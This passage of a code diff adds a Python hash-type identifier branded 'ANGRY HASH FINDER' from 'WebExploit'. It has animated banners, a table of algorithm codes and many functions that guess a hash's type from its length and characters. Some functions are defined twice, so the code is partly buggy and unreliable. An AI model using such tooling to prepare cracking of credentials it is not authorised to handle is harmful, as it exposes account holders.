+ dark_gray = "\033[1;30m"
+ l_red = "\033[1;31m"
+ l_green = "\033[1;32m"
+ yellow = "\033[1;33m"
+ l_blue = "\033[1;34m"
+ l_purple = "\033[1;35m"
+ l_cyan = "\033[1;36m"
+ l_white = "\033[1;37m"
+ faint = "\033[2m"
+ italic = "\033[3m"
+ underline = "\033[4m"
+ blink = "\033[5m"
+ nefative = "\033[7m"
+ cross = "\033[9m"
+ ended = "\033[0m"
+ bold = "\033[1m"
+ nbold = "\033[0m"
+ white = f.WHITE
+ t.sleep(1)
+
+ def r_bnr(bnr):
+ return choice(bnr)
+ print(f'{bold}{l_red}')
+ print (f'{blink}{r_bnr(bnr)}{ended}', end='')
+ t.sleep(2)
+
+ print(f'{blink}{l_red}', end='', flush=True)
+ print('A', end='', flush=True)
+ t.sleep(0.2)
+ print('N', end='', flush=True)
+ t.sleep(0.5)
+ print('G', end='', flush=True)
+ t.sleep(0.3)
+ print('R', end='', flush=True)
+ t.sleep(0.6)
+ print('Y', end='', flush=True)
+ t.sleep(0.3)
+ print(' ', end='', flush=True)
+ t.sleep(0.2)
+ print('H', end='', flush=True)
+ t.sleep(0.2)
+ print('A', end='', flush=True)
+ t.sleep(0.5)
+ print('S', end='', flush=True)
+ t.sleep(0.5)
+ print('H', end='', flush=True)
+ t.sleep(0.3)
+ print(' ', end='', flush=True)
+ t.sleep(0.5)
+ print('F', end='', flush=True)
+ t.sleep(0.2)
+ print('I', end='', flush=True)
+ t.sleep(0.5)
+ print('N', end='', flush=True)
+ t.sleep(0.4)
+ print('D', end='', flush=True)
+ t.sleep(0.5)
+ print('E', end='', flush=True)
+ t.sleep(0.5)
+ print('R', end='', flush=True)
+ t.sleep(2)
+ print(f'{nbold}', end='', flush=True)
+ print(f' {italic} From{ended} : ', end='')
+ #create flush text [simple]
+ print(f'{red}{bold}', end='', flush=True)
+ print(f'{bold}W', end='', flush=True)
+ t.sleep(0.5)
+ print('e', end='', flush=True)
+ t.sleep(0.7)
+ print('b', end='', flush=True)
+ t.sleep(0.4)
+ print('E', end='', flush=True)
+ t.sleep(0.1)
+ print('x', end='', flush=True)
+ t.sleep(0.2)
+ print('p', end='', flush=True)
+ t.sleep(0.3)
+ print('l', end='', flush=True)
+ t.sleep(0.4)
+ print('o', end='', flush=True)
+ t.sleep(0.5)
+ print('i', end='', flush=True)
+ t.sleep(1.5)
+ print(f't{ended}', flush=True)
+ nbold = "\033[0m"
+ t.sleep(1)
+ print(f'{white}{nbold}')
+
+ print (f'\n {bold}{f.GREEN}[{f.WHITE}A.H.F{f.GREEN}]{f.WHITE}{f.RED} For The Eyerlinear + MJI 3> ARI {f.WHITE}{bold} A{nbold}H{bold}F {nbold} TOOL !\n\n\n')
+ t.sleep(3)
+
+ algorithms={"102020":"ADLER-32", "102040":"CRC-32", "102060":"CRC-32B", "101020":"CRC-16", "101040":"CRC-16-CCITT", "104020":"DES(Unix)", "101060":"FCS-16", "103040":"GHash-32-3", "103020":"GHash-32-5", "115060":"GOST R 34.11-94", "109100":"Haval-160", "109200":"Haval-160(HMAC)", "110040":"Haval-192", "110080":"Haval-192(HMAC)", "114040":"Haval-224", "114080":"Haval-224(HMAC)", "115040":"Haval-256", "115140":"Haval-256(HMAC)", "107080":"Lineage II C4", "106025":"Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))", "102080":"XOR-32", "105060":"MD5(Half)", "105040":"MD5(Middle)", "105020":"MySQL", "107040":"MD5(phpBB3)", "107060":"MD5(Unix)", "107020":"MD5(Wordpress)", "108020":"MD5(APR)", "106160":"Haval-128", "106165":"Haval-128(HMAC)", "106060":"MD2", "106120":"MD2(HMAC)", "106040":"MD4", "106100":"MD4(HMAC)", "106020":"MD5", "106080":"MD5(HMAC)", "106140":"MD5(HMAC(Wordpress))", "106029":"NTLM", "106027":"RAdmin v2.x", "106180":"RipeMD-128", "106185":"RipeMD-128(HMAC)", "106200":"SNEFRU-128", "106205":"SNEFRU-128(HMAC)", "106220":"Tiger-128", "106225":"Tiger-128(HMAC)", "106240":"md5($pass.$salt)", "106260":"md5($salt.'-'.md5($pass))", "106280":"md5($salt.$pass)", "106300":"md5($salt.$pass.$salt)", "106320":"md5($salt.$pass.$username)", "106340":"md5($salt.md5($pass))", "106360":"md5($salt.md5($pass).$salt)", "106380":"md5($salt.md5($pass.$salt))", "106400":"md5($salt.md5($salt.$pass))", "106420":"md5($salt.md5(md5($pass).$salt))", "106440":"md5($username.0.$pass)", "106460":"md5($username.LF.$pass)", "106480":"md5($username.md5($pass).$salt)", "106500":"md5(md5($pass))", "106520":"md5(md5($pass).$salt)", "106540":"md5(md5($pass).md5($salt))", "106560":"md5(md5($salt).$pass)", "106580":"md5(md5($salt).md5($pass))", "106600":"md5(md5($username.$pass).$salt)", "106620":"md5(md5(md5($pass)))", "106640":"md5(md5(md5(md5($pass))))", "106660":"md5(md5(md5(md5(md5($pass)))))", "106680":"md5(sha1($pass))", "106700":"md5(sha1(md5($pass)))", "106720":"md5(sha1(md5(sha1($pass))))", "106740":"md5(strtoupper(md5($pass)))", "109040":"MySQL5 - SHA-1(SHA-1($pass))", "109060":"MySQL 160bit - SHA-1(SHA-1($pass))", "109180":"RipeMD-160(HMAC)", "109120":"RipeMD-160", "109020":"SHA-1", "109140":"SHA-1(HMAC)", "109220":"SHA-1(MaNGOS)", "109240":"SHA-1(MaNGOS2)", "109080":"Tiger-160", "109160":"Tiger-160(HMAC)", "109260":"sha1($pass.$salt)", "109280":"sha1($salt.$pass)", "109300":"sha1($salt.md5($pass))", "109320":"sha1($salt.md5($pass).$salt)", "109340":"sha1($salt.sha1($pass))", "109360":"sha1($salt.sha1($salt.sha1($pass)))", "109380":"sha1($username.$pass)", "109400":"sha1($username.$pass.$salt)", "1094202":"sha1(md5($pass))", "109440":"sha1(md5($pass).$salt)", "109460":"sha1(md5(sha1($pass)))", "109480":"sha1(sha1($pass))", "109500":"sha1(sha1($pass).$salt)", "109520":"sha1(sha1($pass).substr($pass,0,3))", "109540":"sha1(sha1($salt.$pass))", "109560":"sha1(sha1(sha1($pass)))", "109580":"sha1(strtolower($username).$pass)", "110020":"Tiger-192", "110060":"Tiger-192(HMAC)", "112020":"md5($pass.$salt) - Joomla", "113020":"SHA-1(Django)", "114020":"SHA-224", "114060":"SHA-224(HMAC)", "115080":"RipeMD-256", "115160":"RipeMD-256(HMAC)", "115100":"SNEFRU-256", "115180":"SNEFRU-256(HMAC)", "115200":"SHA-256(md5($pass))", "115220":"SHA-256(sha1($pass))", "115020":"SHA-256", "115120":"SHA-256(HMAC)", "116020":"md5($pass.$salt) - Joomla", "116040":"SAM - (LM_hash:NT_hash)", "117020":"SHA-256(Django)", "118020":"RipeMD-320", "118040":"RipeMD-320(HMAC)", "119020":"SHA-384", "119040":"SHA-384(HMAC)", "120020":"SHA-256", "121020":"SHA-384(Django)", "122020":"SHA-512", "122060":"SHA-512(HMAC)", "122040":"Whirlpool", "122080":"Whirlpool(HMAC)"}
+
+
+ def CRC16(hash):
+ hs='4607'
+ if len(hash)==len(hs) and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("101020")
+ def CRC16CCITT(hash):
+ hs='3d08'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("101040")
+ def FCS16(hash):
+ hs='0e5b'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("101060")
+
+ def CRC32(hash):
+ hs='b33fd057'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("102040")
+ def ADLER32(hash):
+ hs='0607cb42'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("102020")
+ def CRC32B(hash):
+ hs='b764a0d9'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("102060")
+ def XOR32(hash):
+ hs='0000003f'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("102080")
+
+ def GHash323(hash):
+ hs='80000000'
+ if len(hash)==len(hs) and hash.isdigit()==True and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("103040")
+ def GHash325(hash):
+ hs='85318985'
+ if len(hash)==len(hs) and hash.isdigit()==True and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("103020")
+
+ def DESUnix(hash):
+ hs='ZiY8YtDKXJwYQ'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False:
+ jerar.append("104020")
+
+ def MD5Half(hash):
+ hs='ae11fd697ec92c7c'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("105060")
+ def MD5Middle(hash):
+ hs='7ec92c7c98de3fac'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("105040")
+ def MySQL(hash):
+ hs='63cea4673fd25f46'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("105020")
+
+ def DomainCachedCredentials(hash):
+ hs='f42005ec1afe77967cbc83dce1b4d714'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106025")
+ def Haval128(hash):
+ hs='d6e3ec49aa0f138a619f27609022df10'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106160")
+ def Haval128HMAC(hash):
+ hs='3ce8b0ffd75bc240fc7d967729cd6637'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106165")
+ def MD2(hash):
+ hs='08bbef4754d98806c373f2cd7d9a43c4'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106060")
+ def MD2HMAC(hash):
+ hs='4b61b72ead2b0eb0fa3b8a56556a6dca'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106120")
+ def MD4(hash):
+ hs='a2acde400e61410e79dacbdfc3413151'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106040")
+ def MD4HMAC(hash):
+ hs='6be20b66f2211fe937294c1c95d1cd4f'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106100")
+ def MD5(hash):
+ hs='ae11fd697ec92c7c98de3fac23aba525'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106020")
+ def MD5HMAC(hash):
+ hs='d57e43d2c7e397bf788f66541d6fdef9'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106080")
+ def MD5HMACWordpress(hash):
+ hs='3f47886719268dfa83468630948228f6'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106140")
+ def NTLM(hash):
+ hs='cc348bace876ea440a28ddaeb9fd3550'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106029")
+ def RAdminv2x(hash):
+ hs='baea31c728cbf0cd548476aa687add4b'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106027")
+ def RipeMD128(hash):
+ hs='4985351cd74aff0abc5a75a0c8a54115'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106180")
+ def RipeMD128HMAC(hash):
+ hs='ae1995b931cf4cbcf1ac6fbf1a83d1d3'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106185")
+ def SNEFRU128(hash):
+ hs='4fb58702b617ac4f7ca87ec77b93da8a'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106200")
+ def SNEFRU128HMAC(hash):
+ hs='59b2b9dcc7a9a7d089cecf1b83520350'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106205")
+ def Tiger128(hash):
+ hs='c086184486ec6388ff81ec9f23528727'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106220")
+ def Tiger128HMAC(hash):
+ hs='c87032009e7c4b2ea27eb6f99723454b'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106225")
+ def md5passsalt(hash):
+ hs='5634cc3b922578434d6e9342ff5913f7'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106240")
+ def md5saltmd5pass(hash):
+ hs='245c5763b95ba42d4b02d44bbcd916f1'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106260")
+ def md5saltpass(hash):
+ hs='22cc5ce1a1ef747cd3fa06106c148dfa'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106280")
+ def md5saltpasssalt(hash):
+ hs='469e9cdcaff745460595a7a386c4db0c'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106300")
+ def md5saltpassusername(hash):
+ hs='9ae20f88189f6e3a62711608ddb6f5fd'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106320")
+ def md5saltmd5pass(hash):
+ hs='aca2a052962b2564027ee62933d2382f'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106340")
+ def md5saltmd5passsalt(hash):
+ hs='de0237dc03a8efdf6552fbe7788b2fdd'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106360")
+ def md5saltmd5passsalt(hash):
+ hs='5b8b12ca69d3e7b2a3e2308e7bef3e6f'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106380")
+ def md5saltmd5saltpass(hash):
+ hs='d8f3b3f004d387086aae24326b575b23'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106400")
+ def md5saltmd5md5passsalt(hash):
+ hs='81f181454e23319779b03d74d062b1a2'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106420")
+ def md5username0pass(hash):
+ hs='e44a60f8f2106492ae16581c91edb3ba'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106440")
+ def md5usernameLFpass(hash):
+ hs='654741780db415732eaee12b1b909119'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106460")
+ def md5usernamemd5passsalt(hash):
+ hs='954ac5505fd1843bbb97d1b2cda0b98f'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106480")
+ def md5md5pass(hash):
+ hs='a96103d267d024583d5565436e52dfb3'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106500")
+ def md5md5passsalt(hash):
+ hs='5848c73c2482d3c2c7b6af134ed8dd89'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106520")
+ def md5md5passmd5salt(hash):
+ hs='8dc71ef37197b2edba02d48c30217b32'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106540")
+ def md5md5saltpass(hash):
+ hs='9032fabd905e273b9ceb1e124631bd67'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106560")
+ def md5md5saltmd5pass(hash):
+ hs='8966f37dbb4aca377a71a9d3d09cd1ac'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106580")
+ def md5md5usernamepasssalt(hash):
+ hs='4319a3befce729b34c3105dbc29d0c40'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106600")
+ def md5md5md5pass(hash):
+ hs='ea086739755920e732d0f4d8c1b6ad8d'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106620")
+ def md5md5md5md5pass(hash):
+ hs='02528c1f2ed8ac7d83fe76f3cf1c133f'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106640")
+ def md5md5md5md5md5pass(hash):
+ hs='4548d2c062933dff53928fd4ae427fc0'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106660")
+ def md5sha1pass(hash):
+ hs='cb4ebaaedfd536d965c452d9569a6b1e'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106680")
+ def md5sha1md5pass(hash):
+ hs='099b8a59795e07c334a696a10c0ebce0'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106700")
+ def md5sha1md5sha1pass(hash):
+ hs='06e4af76833da7cc138d90602ef80070'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106720")
+ def md5strtouppermd5pass(hash):
+ hs='519de146f1a658ab5e5e2aa9b7d2eec8'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("106740")
+
+ def LineageIIC4(hash):
+ hs='0x49a57f66bd3d5ba6abda5579c264a0e4'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True and hash[0:2].find('0x')==0:
+ jerar.append("107080")
+ def MD5phpBB3(hash):
+ hs='$H$9kyOtE8CDqMJ44yfn9PFz2E.L2oVzL1'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$H$')==0:
+ jerar.append("107040")
+ def MD5Unix(hash):
+ hs='$1$cTuJH0Ju$1J8rI.mJReeMvpKUZbSlY/'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$1$')==0:
+ jerar.append("107060")
+ def MD5Wordpress(hash):
+ hs='$P$BiTOhOj3ukMgCci2juN0HRbCdDRqeh.'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$P$')==0:
+ jerar.append("107020")
+
+ def MD5APR(hash):
+ hs='$apr1$qAUKoKlG$3LuCncByN76eLxZAh/Ldr1'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash[0:4].find('$apr')==0:
+ jerar.append("108020")
+
+ def Haval160(hash):
+ hs='a106e921284dd69dad06192a4411ec32fce83dbb'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109100")
+ def Haval160HMAC(hash):
+ hs='29206f83edc1d6c3f680ff11276ec20642881243'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109200")
+ def MySQL5(hash):
+ hs='9bb2fb57063821c762cc009f7584ddae9da431ff'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109040")
+ def MySQL160bit(hash):
+ hs='*2470c0c06dee42fd1618bb99005adca2ec9d1e19'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:1].find('*')==0:
+ jerar.append("109060")
+ def RipeMD160(hash):
+ hs='dc65552812c66997ea7320ddfb51f5625d74721b'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109120")
+ def RipeMD160HMAC(hash):
+ hs='ca28af47653b4f21e96c1235984cb50229331359'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109180")
+ def SHA1(hash):
+ hs='4a1d4dbc1e193ec3ab2e9213876ceb8f4db72333'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109020")
+ def SHA1HMAC(hash):
+ hs='6f5daac3fee96ba1382a09b1ba326ca73dccf9e7'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109140")
+ def SHA1MaNGOS(hash):
+ hs='a2c0cdb6d1ebd1b9f85c6e25e0f8732e88f02f96'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109220")
+ def SHA1MaNGOS2(hash):
+ hs='644a29679136e09d0bd99dfd9e8c5be84108b5fd'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109240")
+ def Tiger160(hash):
+ hs='c086184486ec6388ff81ec9f235287270429b225'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109080")
+ def Tiger160HMAC(hash):
+ hs='6603161719da5e56e1866e4f61f79496334e6a10'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109160")
+ def sha1passsalt(hash):
+ hs='f006a1863663c21c541c8d600355abfeeaadb5e4'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109260")
+ def sha1saltpass(hash):
+ hs='299c3d65a0dcab1fc38421783d64d0ecf4113448'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109280")
+ def sha1saltmd5pass(hash):
+ hs='860465ede0625deebb4fbbedcb0db9dc65faec30'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109300")
+ def sha1saltmd5passsalt(hash):
+ hs='6716d047c98c25a9c2cc54ee6134c73e6315a0ff'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109320")
+ def sha1saltsha1pass(hash):
+ hs='58714327f9407097c64032a2fd5bff3a260cb85f'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109340")
+ def sha1saltsha1saltsha1pass(hash):
+ hs='cc600a2903130c945aa178396910135cc7f93c63'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109360")
+ def sha1usernamepass(hash):
+ hs='3de3d8093bf04b8eb5f595bc2da3f37358522c9f'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109380")
+ def sha1usernamepasssalt(hash):
+ hs='00025111b3c4d0ac1635558ce2393f77e94770c5'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109400")
+ def sha1md5pass(hash):
+ hs='fa960056c0dea57de94776d3759fb555a15cae87'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("1094202")
+ def sha1md5passsalt(hash):
+ hs='1dad2b71432d83312e61d25aeb627593295bcc9a'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109440")
+ def sha1md5sha1pass(hash):
+ hs='8bceaeed74c17571c15cdb9494e992db3c263695'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109460")
+ def sha1sha1pass(hash):
+ hs='3109b810188fcde0900f9907d2ebcaa10277d10e'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109480")
+ def sha1sha1passsalt(hash):
+ hs='780d43fa11693b61875321b6b54905ee488d7760'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109500")
+ def sha1sha1passsubstrpass03(hash):
+ hs='5ed6bc680b59c580db4a38df307bd4621759324e'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109520")
+ def sha1sha1saltpass(hash):
+ hs='70506bac605485b4143ca114cbd4a3580d76a413'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109540")
+ def sha1sha1sha1pass(hash):
+ hs='3328ee2a3b4bf41805bd6aab8e894a992fa91549'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109560")
+ def sha1strtolowerusernamepass(hash):
+ hs='79f575543061e158c2da3799f999eb7c95261f07'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("109580")
+
+ def Haval192(hash):
+ hs='cd3a90a3bebd3fa6b6797eba5dab8441f16a7dfa96c6e641'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("110040")
+ def Haval192HMAC(hash):
+ hs='39b4d8ecf70534e2fd86bb04a877d01dbf9387e640366029'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("110080")
+ def Tiger192(hash):
+ hs='c086184486ec6388ff81ec9f235287270429b2253b248a70'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("110020")
+ def Tiger192HMAC(hash):
+ hs='8e914bb64353d4d29ab680e693272d0bd38023afa3943a41'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("110060")
+
+ def MD5passsaltjoomla1(hash):
+ hs='35d1c0d69a2df62be2df13b087343dc9:BeKMviAfcXeTPTlX'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[32:33].find(':')==0:
+ jerar.append("112020")
+
+ def SHA1Django(hash):
+ hs='sha1$Zion3R$299c3d65a0dcab1fc38421783d64d0ecf4113448'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:5].find('sha1$')==0:
+ jerar.append("113020")
+
+ def Haval224(hash):
+ hs='f65d3c0ef6c56f4c74ea884815414c24dbf0195635b550f47eac651a'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("114040")
+ def Haval224HMAC(hash):
+ hs='f10de2518a9f7aed5cf09b455112114d18487f0c894e349c3c76a681'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("114080")
+ def SHA224(hash):
+ hs='e301f414993d5ec2bd1d780688d37fe41512f8b57f6923d054ef8e59'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("114020")
+ def SHA224HMAC(hash):
+ hs='c15ff86a859892b5e95cdfd50af17d05268824a6c9caaa54e4bf1514'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("114060")
+
+ def SHA256(hash):
+ hs='2c740d20dab7f14ec30510a11f8fd78b82bc3a711abe8a993acdb323e78e6d5e'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("115020")
+ def SHA256HMAC(hash):
+ hs='d3dd251b7668b8b6c12e639c681e88f2c9b81105ef41caccb25fcde7673a1132'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("115120")
+ def Haval256(hash):
+ hs='7169ecae19a5cd729f6e9574228b8b3c91699175324e6222dec569d4281d4a4a'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("115040")
+ def Haval256HMAC(hash):
+ hs='6aa856a2cfd349fb4ee781749d2d92a1ba2d38866e337a4a1db907654d4d4d7a'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("115140")
+ def GOSTR341194(hash):
+ hs='ab709d384cce5fda0793becd3da0cb6a926c86a8f3460efb471adddee1c63793'
+ if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
+ jerar.append("115060")
+ def RipeMD256(hash):
